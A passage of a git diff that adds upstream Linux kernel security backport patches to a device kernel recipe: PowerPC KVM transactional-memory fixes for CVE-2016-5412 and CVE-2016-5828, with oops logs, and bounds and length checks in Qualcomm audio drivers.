+- +- /* Make sure the failure summary is set, otherwise we'll program check +- * when we trechkpt. It's possible that this might have been not set +- * on a kvmppc_set_one_reg() call but we shouldn't let this crash the +- * host. +- */ +- oris r7, r7, (TEXASR_FS)@h +- mtspr SPRN_TEXASR, r7 +- +- /* +- * We need to load up the checkpointed state for the guest. +- * We need to do this early as it will blow away any GPRs, VSRs and +- * some SPRs. +- */ +- +- mr r31, r4 +- addi r3, r31, VCPU_FPRS_TM +- bl load_fp_state +- addi r3, r31, VCPU_VRS_TM +- bl load_vr_state +- mr r4, r31 +- lwz r7, VCPU_VRSAVE_TM(r4) +- mtspr SPRN_VRSAVE, r7 +- +- ld r5, VCPU_LR_TM(r4) +- lwz r6, VCPU_CR_TM(r4) +- ld r7, VCPU_CTR_TM(r4) +- ld r8, VCPU_AMR_TM(r4) +- ld r9, VCPU_TAR_TM(r4) +- mtlr r5 +- mtcr r6 +- mtctr r7 +- mtspr SPRN_AMR, r8 +- mtspr SPRN_TAR, r9 +- +- /* +- * Load up PPR and DSCR values but don't put them in the actual SPRs +- * till the last moment to avoid running with userspace PPR and DSCR for +- * too long. +- */ +- ld r29, VCPU_DSCR_TM(r4) +- ld r30, VCPU_PPR_TM(r4) +- +- std r2, PACATMSCRATCH(r13) /* Save TOC */ +- +- /* Clear the MSR RI since r1, r13 are all going to be foobar. */ +- li r5, 0 +- mtmsrd r5, 1 +- +- /* Load GPRs r0-r28 */ +- reg = 0 +- .rept 29 +- ld reg, VCPU_GPRS_TM(reg)(r31) +- reg = reg + 1 +- .endr +- +- mtspr SPRN_DSCR, r29 +- mtspr SPRN_PPR, r30 +- +- /* Load final GPRs */ +- ld 29, VCPU_GPRS_TM(29)(r31) +- ld 30, VCPU_GPRS_TM(30)(r31) +- ld 31, VCPU_GPRS_TM(31)(r31) +- +- /* TM checkpointed state is now setup. All GPRs are now volatile. */ +- TRECHKPT +- +- /* Now let's get back the state we need. */ +- HMT_MEDIUM +- GET_PACA(r13) +- ld r29, HSTATE_DSCR(r13) +- mtspr SPRN_DSCR, r29 +- ld r4, HSTATE_KVM_VCPU(r13) +- ld r1, HSTATE_HOST_R1(r13) +- ld r2, PACATMSCRATCH(r13) +- +- /* Set the MSR RI since we have our registers back. */ +- li r5, MSR_RI +- mtmsrd r5, 1 +-skip_tm: ++ bl kvmppc_restore_tm ++END_FTR_SECTION_IFSET(CPU_FTR_TM) + #endif + + /* Load guest PMU registers */ +@@ -828,12 +724,6 @@ BEGIN_FTR_SECTION + /* Skip next section on POWER7 or PPC970 */ + b 8f + END_FTR_SECTION_IFCLR(CPU_FTR_ARCH_207S) +- /* Turn on TM so we can access TFHAR/TFIAR/TEXASR */ +- mfmsr r8 +- li r0, 1 +- rldimi r8, r0, MSR_TM_LG, 63-MSR_TM_LG +- mtmsrd r8 +- + /* Load up POWER8-specific registers */ + ld r5, VCPU_IAMR(r4) + lwz r6, VCPU_PSPB(r4) +@@ -1354,106 +1244,8 @@ END_FTR_SECTION_IFSET(CPU_FTR_ARCH_206) + + #ifdef CONFIG_PPC_TRANSACTIONAL_MEM + BEGIN_FTR_SECTION +- b 2f +-END_FTR_SECTION_IFCLR(CPU_FTR_TM) +- /* Turn on TM. */ +- mfmsr r8 +- li r0, 1 +- rldimi r8, r0, MSR_TM_LG, 63-MSR_TM_LG +- mtmsrd r8 +- +- ld r5, VCPU_MSR(r9) +- rldicl. r5, r5, 64 - MSR_TS_S_LG, 62 +- beq 1f /* TM not active in guest. */ +- +- li r3, TM_CAUSE_KVM_RESCHED +- +- /* Clear the MSR RI since r1, r13 are all going to be foobar. */ +- li r5, 0 +- mtmsrd r5, 1 +- +- /* All GPRs are volatile at this point. */ +- TRECLAIM(R3) +- +- /* Temporarily store r13 and r9 so we have some regs to play with */ +- SET_SCRATCH0(r13) +- GET_PACA(r13) +- std r9, PACATMSCRATCH(r13) +- ld r9, HSTATE_KVM_VCPU(r13) +- +- /* Get a few more GPRs free. */ +- std r29, VCPU_GPRS_TM(29)(r9) +- std r30, VCPU_GPRS_TM(30)(r9) +- std r31, VCPU_GPRS_TM(31)(r9) +- +- /* Save away PPR and DSCR soon so don't run with user values. */ +- mfspr r31, SPRN_PPR +- HMT_MEDIUM +- mfspr r30, SPRN_DSCR +- ld r29, HSTATE_DSCR(r13) +- mtspr SPRN_DSCR, r29 +- +- /* Save all but r9, r13 & r29-r31 */ +- reg = 0 +- .rept 29 +- .if (reg != 9) && (reg != 13) +- std reg, VCPU_GPRS_TM(reg)(r9) +- .endif +- reg = reg + 1 +- .endr +- /* ... now save r13 */ +- GET_SCRATCH0(r4) +- std r4, VCPU_GPRS_TM(13)(r9) +- /* ... and save r9 */ +- ld r4, PACATMSCRATCH(r13) +- std r4, VCPU_GPRS_TM(9)(r9) +- +- /* Reload stack pointer and TOC. */ +- ld r1, HSTATE_HOST_R1(r13) +- ld r2, PACATOC(r13) +- +- /* Set MSR RI now we have r1 and r13 back. */ +- li r5, MSR_RI +- mtmsrd r5, 1 +- +- /* Save away checkpinted SPRs. */ +- std r31, VCPU_PPR_TM(r9) +- std r30, VCPU_DSCR_TM(r9) +- mflr r5 +- mfcr r6 +- mfctr r7 +- mfspr r8, SPRN_AMR +- mfspr r10, SPRN_TAR +- std r5, VCPU_LR_TM(r9) +- stw r6, VCPU_CR_TM(r9) +- std r7, VCPU_CTR_TM(r9) +- std r8, VCPU_AMR_TM(r9) +- std r10, VCPU_TAR_TM(r9) +- +- /* Restore r12 as trap number. */ +- lwz r12, VCPU_TRAP(r9) +- +- /* Save FP/VSX. */ +- addi r3, r9, VCPU_FPRS_TM +- bl store_fp_state +- addi r3, r9, VCPU_VRS_TM +- bl store_vr_state +- mfspr r6, SPRN_VRSAVE +- stw r6, VCPU_VRSAVE_TM(r9) +-1: +- /* +- * We need to save these SPRs after the treclaim so that the software +- * error code is recorded correctly in the TEXASR. Also the user may +- * change these outside of a transaction, so they must always be +- * context switched. +- */ +- mfspr r5, SPRN_TFHAR +- mfspr r6, SPRN_TFIAR +- mfspr r7, SPRN_TEXASR +- std r5, VCPU_TFHAR(r9) +- std r6, VCPU_TFIAR(r9) +- std r7, VCPU_TEXASR(r9) +-2: ++ bl kvmppc_save_tm ++END_FTR_SECTION_IFSET(CPU_FTR_TM) + #endif + + /* Increment yield count if they have a VPA */ +@@ -2500,6 +2292,239 @@ END_FTR_SECTION_IFSET(CPU_FTR_ALTIVEC) + mr r4,r31 + blr + ++#ifdef CONFIG_PPC_TRANSACTIONAL_MEM ++/* ++ * Save transactional state and TM-related registers. ++ * Called with r9 pointing to the vcpu struct. ++ * This can modify all checkpointed registers, but ++ * restores r1, r2 and r9 (vcpu pointer) before exit. ++ */ ++kvmppc_save_tm: ++ mflr r0 ++ std r0, PPC_LR_STKOFF(r1) ++ ++ /* Turn on TM. */ ++ mfmsr r8 ++ li r0, 1 ++ rldimi r8, r0, MSR_TM_LG, 63-MSR_TM_LG ++ mtmsrd r8 ++ ++ ld r5, VCPU_MSR(r9) ++ rldicl. r5, r5, 64 - MSR_TS_S_LG, 62 ++ beq 1f /* TM not active in guest. */ ++ ++ std r1, HSTATE_HOST_R1(r13) ++ li r3, TM_CAUSE_KVM_RESCHED ++ ++ /* Clear the MSR RI since r1, r13 are all going to be foobar. */ ++ li r5, 0 ++ mtmsrd r5, 1 ++ ++ /* All GPRs are volatile at this point. */ ++ TRECLAIM(R3) ++ ++ /* Temporarily store r13 and r9 so we have some regs to play with */ ++ SET_SCRATCH0(r13) ++ GET_PACA(r13) ++ std r9, PACATMSCRATCH(r13) ++ ld r9, HSTATE_KVM_VCPU(r13) ++ ++ /* Get a few more GPRs free. */ ++ std r29, VCPU_GPRS_TM(29)(r9) ++ std r30, VCPU_GPRS_TM(30)(r9) ++ std r31, VCPU_GPRS_TM(31)(r9) ++ ++ /* Save away PPR and DSCR soon so don't run with user values. */ ++ mfspr r31, SPRN_PPR ++ HMT_MEDIUM ++ mfspr r30, SPRN_DSCR ++ ld r29, HSTATE_DSCR(r13) ++ mtspr SPRN_DSCR, r29 ++ ++ /* Save all but r9, r13 & r29-r31 */ ++ reg = 0 ++ .rept 29 ++ .if (reg != 9) && (reg != 13) ++ std reg, VCPU_GPRS_TM(reg)(r9) ++ .endif ++ reg = reg + 1 ++ .endr ++ /* ... now save r13 */ ++ GET_SCRATCH0(r4) ++ std r4, VCPU_GPRS_TM(13)(r9) ++ /* ... and save r9 */ ++ ld r4, PACATMSCRATCH(r13) ++ std r4, VCPU_GPRS_TM(9)(r9) ++ ++ /* Reload stack pointer and TOC. */ ++ ld r1, HSTATE_HOST_R1(r13) ++ ld r2, PACATOC(r13) ++ ++ /* Set MSR RI now we have r1 and r13 back. */ ++ li r5, MSR_RI ++ mtmsrd r5, 1 ++ ++ /* Save away checkpinted SPRs. */ ++ std r31, VCPU_PPR_TM(r9) ++ std r30, VCPU_DSCR_TM(r9) ++ mflr r5 ++ mfcr r6 ++ mfctr r7 ++ mfspr r8, SPRN_AMR ++ mfspr r10, SPRN_TAR ++ std r5, VCPU_LR_TM(r9) ++ stw r6, VCPU_CR_TM(r9) ++ std r7, VCPU_CTR_TM(r9) ++ std r8, VCPU_AMR_TM(r9) ++ std r10, VCPU_TAR_TM(r9) ++ ++ /* Restore r12 as trap number. */ ++ lwz r12, VCPU_TRAP(r9) ++ ++ /* Save FP/VSX. */ ++ addi r3, r9, VCPU_FPRS_TM ++ bl store_fp_state ++ addi r3, r9, VCPU_VRS_TM ++ bl store_vr_state ++ mfspr r6, SPRN_VRSAVE ++ stw r6, VCPU_VRSAVE_TM(r9) ++1: ++ /* ++ * We need to save these SPRs after the treclaim so that the software ++ * error code is recorded correctly in the TEXASR. Also the user may ++ * change these outside of a transaction, so they must always be ++ * context switched. ++ */ ++ mfspr r5, SPRN_TFHAR ++ mfspr r6, SPRN_TFIAR ++ mfspr r7, SPRN_TEXASR ++ std r5, VCPU_TFHAR(r9) ++ std r6, VCPU_TFIAR(r9) ++ std r7, VCPU_TEXASR(r9) ++ ++ ld r0, PPC_LR_STKOFF(r1) ++ mtlr r0 ++ blr ++ ++/* ++ * Restore transactional state and TM-related registers. ++ * Called with r4 pointing to the vcpu struct. ++ * This potentially modifies all checkpointed registers. ++ * It restores r1, r2, r4 from the PACA. ++ */ ++kvmppc_restore_tm: ++ mflr r0 ++ std r0, PPC_LR_STKOFF(r1) ++ ++ /* Turn on TM/FP/VSX/VMX so we can restore them. */ ++ mfmsr r5 ++ li r6, MSR_TM >> 32 ++ sldi r6, r6, 32 ++ or r5, r5, r6 ++ ori r5, r5, MSR_FP ++ oris r5, r5, (MSR_VEC | MSR_VSX)@h ++ mtmsrd r5 ++ ++ /* ++ * The user may change these outside of a transaction, so they must ++ * always be context switched. ++ */ ++ ld r5, VCPU_TFHAR(r4) ++ ld r6, VCPU_TFIAR(r4) ++ ld r7, VCPU_TEXASR(r4) ++ mtspr SPRN_TFHAR, r5 ++ mtspr SPRN_TFIAR, r6 ++ mtspr SPRN_TEXASR, r7 ++ ++ ld r5, VCPU_MSR(r4) ++ rldicl. r5, r5, 64 - MSR_TS_S_LG, 62 ++ beqlr /* TM not active in guest */ ++ std r1, HSTATE_HOST_R1(r13) ++ ++ /* Make sure the failure summary is set, otherwise we'll program check ++ * when we trechkpt. It's possible that this might have been not set ++ * on a kvmppc_set_one_reg() call but we shouldn't let this crash the ++ * host. ++ */ ++ oris r7, r7, (TEXASR_FS)@h ++ mtspr SPRN_TEXASR, r7 ++ ++ /* ++ * We need to load up the checkpointed state for the guest. ++ * We need to do this early as it will blow away any GPRs, VSRs and ++ * some SPRs. ++ */ ++ ++ mr r31, r4 ++ addi r3, r31, VCPU_FPRS_TM ++ bl load_fp_state ++ addi r3, r31, VCPU_VRS_TM ++ bl load_vr_state ++ mr r4, r31 ++ lwz r7, VCPU_VRSAVE_TM(r4) ++ mtspr SPRN_VRSAVE, r7 ++ ++ ld r5, VCPU_LR_TM(r4) ++ lwz r6, VCPU_CR_TM(r4) ++ ld r7, VCPU_CTR_TM(r4) ++ ld r8, VCPU_AMR_TM(r4) ++ ld r9, VCPU_TAR_TM(r4) ++ mtlr r5 ++ mtcr r6 ++ mtctr r7 ++ mtspr SPRN_AMR, r8 ++ mtspr SPRN_TAR, r9 ++ ++ /* ++ * Load up PPR and DSCR values but don't put them in the actual SPRs ++ * till the last moment to avoid running with userspace PPR and DSCR for ++ * too long. ++ */ ++ ld r29, VCPU_DSCR_TM(r4) ++ ld r30, VCPU_PPR_TM(r4) ++ ++ std r2, PACATMSCRATCH(r13) /* Save TOC */ ++ ++ /* Clear the MSR RI since r1, r13 are all going to be foobar. */ ++ li r5, 0 ++ mtmsrd r5, 1 ++ ++ /* Load GPRs r0-r28 */ ++ reg = 0 ++ .rept 29 ++ ld reg, VCPU_GPRS_TM(reg)(r31) ++ reg = reg + 1 ++ .endr ++ ++ mtspr SPRN_DSCR, r29 ++ mtspr SPRN_PPR, r30 ++ ++ /* Load final GPRs */ ++ ld 29, VCPU_GPRS_TM(29)(r31) ++ ld 30, VCPU_GPRS_TM(30)(r31) ++ ld 31, VCPU_GPRS_TM(31)(r31) ++ ++ /* TM checkpointed state is now setup. All GPRs are now volatile. */ ++ TRECHKPT ++ ++ /* Now let's get back the state we need. */ ++ HMT_MEDIUM ++ GET_PACA(r13) ++ ld r29, HSTATE_DSCR(r13) ++ mtspr SPRN_DSCR, r29 ++ ld r4, HSTATE_KVM_VCPU(r13) ++ ld r1, HSTATE_HOST_R1(r13) ++ ld r2, PACATMSCRATCH(r13) ++ ++ /* Set the MSR RI since we have our registers back. */ ++ li r5, MSR_RI ++ mtmsrd r5, 1 ++ ++ ld r0, PPC_LR_STKOFF(r1) ++ mtlr r0 ++ blr ++#endif ++ + /* + * We come here if we get any exception or interrupt while we are + * executing host real mode code while in guest MMU context. +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0125-8c0c7bb9248b-KVM PPC Book3S HV Saverestore TM state in HCEDE.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0125-8c0c7bb9248b-KVM PPC Book3S HV Saverestore TM state in HCEDE.patch new file mode 100644 index 0000000..5588376 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0125-8c0c7bb9248b-KVM PPC Book3S HV Saverestore TM state in HCEDE.patch @@ -0,0 +1,72 @@ +From 8c0c7bb9248b8ba2ebce61fb52bc88c47ae0bc58 Mon Sep 17 00:00:00 2001 +From: Paul Mackerras +Date: Wed, 22 Jun 2016 15:52:55 +1000 +Subject: KVM: PPC: Book3S HV: Save/restore TM state in H_CEDE + +[ Upstream commit 93d17397e4e2182fdaad503e2f9da46202c0f1c3 ] + +It turns out that if the guest does a H_CEDE while the CPU is in +a transactional state, and the H_CEDE does a nap, and the nap +loses the architected state of the CPU (which is is allowed to do), +then we lose the checkpointed state of the virtual CPU. In addition, +the transactional-memory state recorded in the MSR gets reset back +to non-transactional, and when we try to return to the guest, we take +a TM bad thing type of program interrupt because we are trying to +transition from non-transactional to transactional with a hrfid +instruction, which is not permitted. + +The result of the program interrupt occurring at that point is that +the host CPU will hang in an infinite loop with interrupts disabled. +Thus this is a denial of service vulnerability in the host which can +be triggered by any guest (and depending on the guest kernel, it can +potentially triggered by unprivileged userspace in the guest). + +This vulnerability has been assigned the ID CVE-2016-5412. + +To fix this, we save the TM state before napping and restore it +on exit from the nap, when handling a H_CEDE in real mode. The +case where H_CEDE exits to host virtual mode is already OK (as are +other hcalls which exit to host virtual mode) because the exit +path saves the TM state. + +Cc: stable@vger.kernel.org # v3.15+ +Signed-off-by: Paul Mackerras +Signed-off-by: Sasha Levin +--- + arch/powerpc/kvm/book3s_hv_rmhandlers.S | 13 +++++++++++++ + 1 file changed, 13 insertions(+) + +diff --git a/arch/powerpc/kvm/book3s_hv_rmhandlers.S b/arch/powerpc/kvm/book3s_hv_rmhandlers.S +index 275fc5cb5f289..549d28fdc2917 100644 +--- a/arch/powerpc/kvm/book3s_hv_rmhandlers.S ++++ b/arch/powerpc/kvm/book3s_hv_rmhandlers.S +@@ -1973,6 +1973,13 @@ END_FTR_SECTION_IFCLR(CPU_FTR_ARCH_206) + /* save FP state */ + bl kvmppc_save_fp + ++#ifdef CONFIG_PPC_TRANSACTIONAL_MEM ++BEGIN_FTR_SECTION ++ ld r9, HSTATE_KVM_VCPU(r13) ++ bl kvmppc_save_tm ++END_FTR_SECTION_IFSET(CPU_FTR_TM) ++#endif ++ + /* + * Take a nap until a decrementer or external or doobell interrupt + * occurs, with PECE1, PECE0 and PECEDP set in LPCR. Also clear the +@@ -2012,6 +2019,12 @@ kvm_end_cede: + /* Woken by external or decrementer interrupt */ + ld r1, HSTATE_HOST_R1(r13) + ++#ifdef CONFIG_PPC_TRANSACTIONAL_MEM ++BEGIN_FTR_SECTION ++ bl kvmppc_restore_tm ++END_FTR_SECTION_IFSET(CPU_FTR_TM) ++#endif ++ + /* load up FP state */ + bl kvmppc_load_fp + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0126-8d596e6adb90-powerpctm Always reclaim in startthread for exec class.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0126-8d596e6adb90-powerpctm Always reclaim in startthread for exec class.patch new file mode 100644 index 0000000..eedc843 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0126-8d596e6adb90-powerpctm Always reclaim in startthread for exec class.patch @@ -0,0 +1,114 @@ +From 8d596e6adb909cebe6290426160b8dedc84c802a Mon Sep 17 00:00:00 2001 +From: Cyril Bur +Date: Fri, 17 Jun 2016 14:58:34 +1000 +Subject: powerpc/tm: Always reclaim in start_thread() for exec() class + syscalls + +[ Upstream commit 8e96a87c5431c256feb65bcfc5aec92d9f7839b6 ] + +Userspace can quite legitimately perform an exec() syscall with a +suspended transaction. exec() does not return to the old process, rather +it load a new one and starts that, the expectation therefore is that the +new process starts not in a transaction. Currently exec() is not treated +any differently to any other syscall which creates problems. + +Firstly it could allow a new process to start with a suspended +transaction for a binary that no longer exists. This means that the +checkpointed state won't be valid and if the suspended transaction were +ever to be resumed and subsequently aborted (a possibility which is +exceedingly likely as exec()ing will likely doom the transaction) the +new process will jump to invalid state. + +Secondly the incorrect attempt to keep the transactional state while +still zeroing state for the new process creates at least two TM Bad +Things. The first triggers on the rfid to return to userspace as +start_thread() has given the new process a 'clean' MSR but the suspend +will still be set in the hardware MSR. The second TM Bad Thing triggers +in __switch_to() as the processor is still transactionally suspended but +__switch_to() wants to zero the TM sprs for the new process. + +This is an example of the outcome of calling exec() with a suspended +transaction. Note the first 700 is likely the first TM bad thing +decsribed earlier only the kernel can't report it as we've loaded +userspace registers. c000000000009980 is the rfid in +fast_exception_return() + + Bad kernel stack pointer 3fffcfa1a370 at c000000000009980 + Oops: Bad kernel stack pointer, sig: 6 [#1] + CPU: 0 PID: 2006 Comm: tm-execed Not tainted + NIP: c000000000009980 LR: 0000000000000000 CTR: 0000000000000000 + REGS: c00000003ffefd40 TRAP: 0700 Not tainted + MSR: 8000000300201031 CR: 00000000 XER: 00000000 + CFAR: c0000000000098b4 SOFTE: 0 + PACATMSCRATCH: b00000010000d033 + GPR00: 0000000000000000 00003fffcfa1a370 0000000000000000 0000000000000000 + GPR04: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 + GPR08: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 + GPR12: 00003fff966611c0 0000000000000000 0000000000000000 0000000000000000 + NIP [c000000000009980] fast_exception_return+0xb0/0xb8 + LR [0000000000000000] (null) + Call Trace: + Instruction dump: + f84d0278 e9a100d8 7c7b03a6 e84101a0 7c4ff120 e8410170 7c5a03a6 e8010070 + e8410080 e8610088 e8810090 e8210078 <4c000024> 48000000 e8610178 88ed023b + + Kernel BUG at c000000000043e80 [verbose debug info unavailable] + Unexpected TM Bad Thing exception at c000000000043e80 (msr 0x201033) + Oops: Unrecoverable exception, sig: 6 [#2] + CPU: 0 PID: 2006 Comm: tm-execed Tainted: G D + task: c0000000fbea6d80 ti: c00000003ffec000 task.ti: c0000000fb7ec000 + NIP: c000000000043e80 LR: c000000000015a24 CTR: 0000000000000000 + REGS: c00000003ffef7e0 TRAP: 0700 Tainted: G D + MSR: 8000000300201033 CR: 28002828 XER: 00000000 + CFAR: c000000000015a20 SOFTE: 0 + PACATMSCRATCH: b00000010000d033 + GPR00: 0000000000000000 c00000003ffefa60 c000000000db5500 c0000000fbead000 + GPR04: 8000000300001033 2222222222222222 2222222222222222 00000000ff160000 + GPR08: 0000000000000000 800000010000d033 c0000000fb7e3ea0 c00000000fe00004 + GPR12: 0000000000002200 c00000000fe00000 0000000000000000 0000000000000000 + GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 + GPR20: 0000000000000000 0000000000000000 c0000000fbea7410 00000000ff160000 + GPR24: c0000000ffe1f600 c0000000fbea8700 c0000000fbea8700 c0000000fbead000 + GPR28: c000000000e20198 c0000000fbea6d80 c0000000fbeab680 c0000000fbea6d80 + NIP [c000000000043e80] tm_restore_sprs+0xc/0x1c + LR [c000000000015a24] __switch_to+0x1f4/0x420 + Call Trace: + Instruction dump: + 7c800164 4e800020 7c0022a6 f80304a8 7c0222a6 f80304b0 7c0122a6 f80304b8 + 4e800020 e80304a8 7c0023a6 e80304b0 <7c0223a6> e80304b8 7c0123a6 4e800020 + +This fixes CVE-2016-5828. + +Fixes: bc2a9408fa65 ("powerpc: Hook in new transactional memory code") +Cc: stable@vger.kernel.org # v3.9+ +Signed-off-by: Cyril Bur +Signed-off-by: Michael Ellerman +Signed-off-by: Sasha Levin +--- + arch/powerpc/kernel/process.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/arch/powerpc/kernel/process.c b/arch/powerpc/kernel/process.c +index 923cd2daba89d..5d2ea3f90f723 100644 +--- a/arch/powerpc/kernel/process.c ++++ b/arch/powerpc/kernel/process.c +@@ -1224,6 +1224,16 @@ void start_thread(struct pt_regs *regs, unsigned long start, unsigned long sp) + current->thread.regs = regs - 1; + } + ++#ifdef CONFIG_PPC_TRANSACTIONAL_MEM ++ /* ++ * Clear any transactional state, we're exec()ing. The cause is ++ * not important as there will never be a recheckpoint so it's not ++ * user visible. ++ */ ++ if (MSR_TM_SUSPENDED(mfmsr())) ++ tm_reclaim_current(0); ++#endif ++ + memset(regs->gpr, 0, sizeof(regs->gpr)); + regs->ctr = 0; + regs->link = 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0127-49d27afe9a76-ASoC msm qdsp6v2 DAP Add check to validate param length.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0127-49d27afe9a76-ASoC msm qdsp6v2 DAP Add check to validate param length.patch new file mode 100644 index 0000000..aa063c7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0127-49d27afe9a76-ASoC msm qdsp6v2 DAP Add check to validate param length.patch @@ -0,0 +1,35 @@ +From 49d27afe9a76273e0d5314cf9241d1d1c3561d13 Mon Sep 17 00:00:00 2001 +From: kunleiz +Date: Tue, 27 Dec 2016 16:15:51 +0800 +Subject: ASoC: msm: qdsp6v2: DAP: Add check to validate param length + +Return an error code to ensure valid length value is valid. + +CRs-fixed: 1102987 +Change-Id: I6a679d08342d1da58c20b5c3d4e436dd335764ae +Signed-off-by: kunleiz +--- + sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c b/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c +index 59835e6..d654b30 100644 +--- a/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c ++++ b/sound/soc/msm/qdsp6v2/msm-ds2-dap-config.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2013-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2013-2017, The Linux Foundation. All rights reserved. + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. +@@ -1656,6 +1656,7 @@ static int msm_ds2_dap_param_visualizer_control_get(u32 cmd, void *arg) + ret = 0; + dolby_data->length = 0; + pr_err("%s Incorrect VCNB length", __func__); ++ return -EINVAL; + } + + params_length = (2*length + DOLBY_VIS_PARAM_HEADER_SIZE) * +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0128-3154eb1d263b-ASoC wcd9320 Fix out of bounds for mad input value.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0128-3154eb1d263b-ASoC wcd9320 Fix out of bounds for mad input value.patch new file mode 100644 index 0000000..d2eacb6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0128-3154eb1d263b-ASoC wcd9320 Fix out of bounds for mad input value.patch @@ -0,0 +1,38 @@ +From 3154eb1d263b9c3eab2c9fa8ebe498390bf5d711 Mon Sep 17 00:00:00 2001 +From: Karthikeyan Mani +Date: Wed, 7 Dec 2016 18:19:31 -0800 +Subject: ASoC: wcd9320: Fix out of bounds for mad input value + +Add check in taiko_mad_input_put function to +return error on out of bounds access using +mad input value + +CRs-fixed: 1096799 +Change-Id: I75ce9e881cf05a50e874a555b2f8bd3286cdaed4 +Signed-off-by: Karthikeyan Mani +--- + sound/soc/codecs/wcd9320.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/sound/soc/codecs/wcd9320.c b/sound/soc/codecs/wcd9320.c +index cb91030..ff199c14e 100644 +--- a/sound/soc/codecs/wcd9320.c ++++ b/sound/soc/codecs/wcd9320.c +@@ -1208,6 +1208,14 @@ static int taiko_mad_input_put(struct snd_kcontrol *kcontrol, + + taiko_mad_input = ucontrol->value.integer.value[0]; + ++ if (taiko_mad_input >= ARRAY_SIZE(taiko_conn_mad_text)) { ++ dev_err(codec->dev, ++ "%s: taiko_mad_input = %d out of bounds\n", ++ __func__, taiko_mad_input); ++ return -EINVAL; ++ } ++ ++ + micb_4_int_reg = taiko->resmgr.reg_addr->micb_4_int_rbias; + pr_debug("%s: taiko_mad_input = %s\n", __func__, + taiko_conn_mad_text[taiko_mad_input]); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0129-afc5bea71bc8-ASoC wcd9330 Fix out of bounds for mad input value.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0129-afc5bea71bc8-ASoC wcd9330 Fix out of bounds for mad input value.patch new file mode 100644 index 0000000..c7cbeb9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0129-afc5bea71bc8-ASoC wcd9330 Fix out of bounds for mad input value.patch @@ -0,0 +1,37 @@ +From afc5bea71bc8f251dad1104568383019f4923af6 Mon Sep 17 00:00:00 2001 +From: Karthikeyan Mani +Date: Wed, 14 Dec 2016 11:33:18 -0800 +Subject: ASoC: wcd9330: Fix out of bounds for mad input value + +Add check in tomtom_mad_input_put function to +return error on out of bounds access using +mad input value + +CRs-fixed: 1096799 +Change-Id: I16f8627b29c7b14a8dc0433b21aa21bf96e98905 +Signed-off-by: Karthikeyan Mani +--- + sound/soc/codecs/wcd9330.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/sound/soc/codecs/wcd9330.c b/sound/soc/codecs/wcd9330.c +index 22f3f85..7fb1096 100644 +--- a/sound/soc/codecs/wcd9330.c ++++ b/sound/soc/codecs/wcd9330.c +@@ -1377,6 +1377,13 @@ static int tomtom_mad_input_put(struct snd_kcontrol *kcontrol, + tomtom_mad_input = ucontrol->value.integer.value[0]; + micb_4_int_reg = tomtom->resmgr.reg_addr->micb_4_int_rbias; + ++ if (tomtom_mad_input >= ARRAY_SIZE(tomtom_conn_mad_text)) { ++ dev_err(codec->dev, ++ "%s: tomtom_mad_input = %d out of bounds\n", ++ __func__, tomtom_mad_input); ++ return -EINVAL; ++ } ++ + pr_debug("%s: tomtom_mad_input = %s\n", __func__, + tomtom_conn_mad_text[tomtom_mad_input]); + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0130-97fdb441a9fb-ASoC msm qdsp6v2 DAP Add check to validate param length.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0130-97fdb441a9fb-ASoC msm qdsp6v2 DAP Add check to validate param length.patch new file mode 100644 index 0000000..cc19637 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0130-97fdb441a9fb-ASoC msm qdsp6v2 DAP Add check to validate param length.patch @@ -0,0 +1,51 @@ +From 97fdb441a9fb330a76245e473bc1a2155c809ebe Mon Sep 17 00:00:00 2001 +From: Sharad Sangle +Date: Tue, 13 Dec 2016 14:35:39 +0530 +Subject: ASoC: msm: qdsp6v2: DAP: Add check to validate param length + +To avoid buffer overflow, validate input length used to +fetch visualizer data. + +CRs-fixed: 1096672 +Change-Id: I224bc2f20d94182713c565972fb0bd52cad6f3fd +Signed-off-by: Sharad Sangle +--- + sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c | 11 ++++++++++- + 1 file changed, 10 insertions(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c b/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c +index bb0f890..5866e46 100644 +--- a/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c ++++ b/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2013-2014, 2016, The Linux Foundation. All rights reserved. + * This program is free software; you can redistribute it and/or modify + * it under the terms of the 